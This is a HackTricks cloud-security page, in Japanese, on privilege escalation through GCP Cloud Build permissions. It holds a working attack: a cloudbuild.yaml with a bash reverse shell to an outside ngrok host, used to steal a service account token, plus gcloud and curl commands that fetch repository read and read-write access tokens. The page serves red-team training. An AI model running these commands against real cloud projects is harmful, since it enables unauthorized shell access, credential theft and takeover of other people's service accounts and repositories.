GCP - Cloudbuild Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

cloudbuild

Cloud Buildの詳細については次を参照してください:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

この権限があれば、submit a cloud build できます。cloudbuild マシンのファイルシステムには、デフォルトで cloudbuild Service Account の token: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com が存在します。しかし、cloudbuild の設定内でプロジェクト内の任意の service account を指定できます。
したがって、マシンにトークンをあなたのサーバーへ exfiltrate させるか、あるいはその内部で reverse shell を取得して自分で token を入手することができます(トークンを含むファイルは変更される可能性があります)。

Direct exploitation via gcloud CLI

1- cloudbuild.yaml を作成し、listener の情報で修正する

Cloud Build YAML configuration for reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- ソースなしの簡単な build をアップロードし、yaml ファイルを指定して、ビルドで使用する SA を指定する:

指定した service account を使って Cloud Build を送信する ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

python gcloud ライブラリの使用

オリジナルの exploit script は here on GitHub で見つけられます (ただしトークンを取得している場所は私の環境では動作しませんでした)。そのため、vuln 環境の creation, exploit and cleaning of a vuln environment here を自動化するスクリプトと、cloudbuild マシン内で reverse shell を取得して steal it here する python スクリプトを確認してください (コード内で他の service accounts を指定する方法が見られます).

詳細な説明については https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/ を参照してください

cloudbuild.repositories.accessReadToken

この権限があれば、ユーザーはリポジトリにアクセスするために使用される read access token を取得できます:

リポジトリの read access token を取得する ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

この権限があると、ユーザーはリポジトリへアクセスするために使用される読み書き用のアクセストークンを取得できます:

リポジトリの読み書き用アクセストークンを取得する ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

この権限があれば 接続がアクセスできるリポジトリを取得できます:

リンク可能なリポジトリを取得 ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする